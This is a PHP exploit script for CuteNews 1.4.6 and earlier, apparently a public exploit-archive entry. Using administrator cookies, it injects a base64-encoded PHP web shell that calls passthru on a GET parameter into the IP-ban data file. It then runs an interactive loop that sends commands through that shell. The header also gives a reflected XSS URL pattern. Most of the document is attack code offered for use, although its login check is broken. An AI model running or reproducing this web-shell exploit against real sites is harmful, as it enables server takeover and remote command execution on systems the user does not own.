CuteNews <= 1.4.6 (ip ban) XSS/Command Execution Exploit (adm req.)

#!/usr/bin/php -q
<?php

/*********************************************************************
* CuteNews <= 1.4.6 (ip ban) XSS / Remote Command Execution Exploit *
* by athos - staker[at]hotmail[dot]it *
* http://cutephp.com *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* Remote Command Execution *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* you need a super account (administrator) *
* so you can write in ipban.db.php anything *
* *
* works regardless of php.ini settings! enjoy your ais *
* note: this vuln is a privilege escalation *
* *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* Cross Site Scripting *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* http://[host]/[path]//index.php?mod=[Javascript Code] *
*********************************************************************/

error_reporting(0);

list($cli,$host,$path,$username,$password) = $argv;

if ($argc != 5) {

print "\n+-------------------------------------------------------------+\n";
print "\r| CuteNews <= 1.4.6 (ip ban) Remote Command Execution Exploit |\n";
print "\r+-------------------------------------------------------------+\n";
print "\rby athos - staker[at]hotmail[dot]it / http://cutephp.com\n\n";
print "\rUsage: php xpl.php [host] [path] [username] [password]\n\n";
print "\rhost + localhost\n";
print "\rpath + /cutenews\n";
print "\rusername + admin username\n";
print "\rpassword + admin password\n\n";
exit;
}

exploit();

function login () {

global $username,$password;

$cookies .= "username={$username}; md5_password=";
$cookies .= md5($password);

return $cookies;
}


function check_login() {

global $host,$path;

$auth .= login();

$data .= "GET /{$path}/index.php HTTP/1.1\r\n";
$data .= "Host: {$host}\r\n";
$data .= "User-Agent: Lynx (textmode)\r\n";
$data .= "Cookie: $auth;\n";
$data .= "Connection: close\r\n\r\n";

if (preg_match('/Welcome/i',$data)) {
return true;
}
else {
die("Login Failed\n");
}
}


function exploit() {

global $host,$path;

$login = login();
$shell = "PD9waHAgDQpwYXNzdGhydSgkX0dFVFsnYyddKTsgDQo/Pg==";

$shell = base64_decode($shell);
$post = "add_ip={$shell}&action=add&mod=ipban";

$data .= "POST /{$path}/index.php HTTP/1.1\r\n";
$data .= "Host: {$host}\r\n";
$data .= "User-Agent: Lynx (textmode)\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Cookie: $login\r\n";
$data .= "Referer: http://{$host}/{$path}/index.php\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($post)."\r\n\r\n";
$data .= "{$post}\r\n\r\n";

if (eregi('passthru',data_send($host,$data))) {
yeat_shell();
}
else {
die("Exploit Failed!\n");
}
}


function yeat_shell() {

while (1) {
echo "yeat[shell]~$: ";
$exec = stripslashes(trim(fgets(STDIN)));

if (preg_match('/^(exit|--exit|quit|--quit)$/i',$exec)) die("\nExited\n");
if (preg_match('/^(help|--help)$/i',$exec)) echo("\nExample: uname -a\n");
if (preg_match('/^(about|--about)$/i',$exec)) echo("\nstaker[at]hotmail[dot]it\n");

print data_exec($exec);
}
}


function data_exec($exec) {

global $host,$path;

$exec = urlencode($exec);
$data .= "GET /{$path}/data/ipban.db.php?c={$exec} HTTP/1.1\r\n";
$data .= "Host: {$host}\r\n";
$data .= "User-Agent: Lynx (textmode)\r\n";
$data .= "Connection: close\r\n\r\n";

$html = data_send ($host,$data);
$html = str_replace('|0||',null,$html);
return $html;
}


function data_send ($host,$data) {

if (!$sock = @fsockopen($host,80)) {
die("Connection refused,try again!\n");
} fputs($sock,$data);

while (!feof($sock)) { $html .= fgets($sock); }

fclose($sock);
return $html;
}